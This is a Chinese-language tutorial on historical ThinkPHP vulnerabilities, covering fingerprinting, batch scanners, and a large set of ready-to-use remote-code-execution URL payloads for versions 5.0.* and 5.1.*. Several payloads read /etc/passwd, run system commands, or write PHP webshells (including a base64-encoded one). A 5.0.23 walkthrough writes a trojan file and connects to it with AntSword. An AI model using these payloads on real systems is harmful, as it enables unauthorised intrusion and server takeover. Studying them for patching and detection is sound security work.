常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp

一、介绍

Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。

二、Thinkphp历史漏洞

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

三、Thinkphp特征发现

  • 默认页面

  • 错误页面

    • 开启了debug模式的错误页面:
- 未开启debug模式的错误页面:

四、批量漏洞检测

  • https://github.com/Lucifer1993/TPscan
bash 复制代码
python TPscan.py


  • https://github.com/theLSA/tp5-getshell
bash 复制代码
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/


  • 说明漏洞存在,可以进行漏洞利用。
  • 使用ThinkphpGUI-1.2-SNAPSHOT进行漏洞扫描和命令执行。
  • 切换版本,进行命令执行。


五、漏洞总结

  • Thinkphp3 漏洞总结:https://y4er.com/post/thinkphp3-vuln/
  • Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/
  • 5.0.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
  • 5.1.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo

#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

六、5.0.23版本案例演示


1、查看。

bash 复制代码
#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
bash 复制代码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

2、写入木马文件。

bash 复制代码
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php

3、写入成功。



4、使用蚁剑进行连接。


相关推荐
quweiie7 天前
thinkphp8+layui分页
前端·layui·thinkphp·分页样式
码痘痘23 天前
给ThinkPHP添加接口Trace
开发语言·php·thinkphp
ETO_冬24 天前
Fastadmin系统配置增加配置字段类型
前端·php·thinkphp
hbh112233abc1 个月前
实现 think/queue 日志分离
php·thinkphp·queue
tekin2 个月前
vscode通过.vscode/launch.json 内置php服务启动thinkphp 应用后无法加载路由解决方法
vscode·json·php·路由·thinkphp·内置服务
hanzhuhuaa2 个月前
thinkphp和vue基于Workerman搭建Websocket服务实现用户实时聊天,完整前后端源码demo及数据表sql
websocket·即时通讯·thinkphp·实时聊天·vue聊天
A_ugust__2 个月前
vue3.2实现AES加密解密,秘钥通过API获取,并混淆秘钥,后端thinkphp
vue·aes·thinkphp
A864453 个月前
解决在Nignx下Thinkphp路由不生效问题
开发语言·nginx·php·thinkphp
2407-2 shw3 个月前
Thinkphp5x远程命令执行 靶场攻略
php·thinkphp
空暝4 个月前
ThinkPHP的SQL注入漏洞学习
数据库·sql·学习·php·web·thinkphp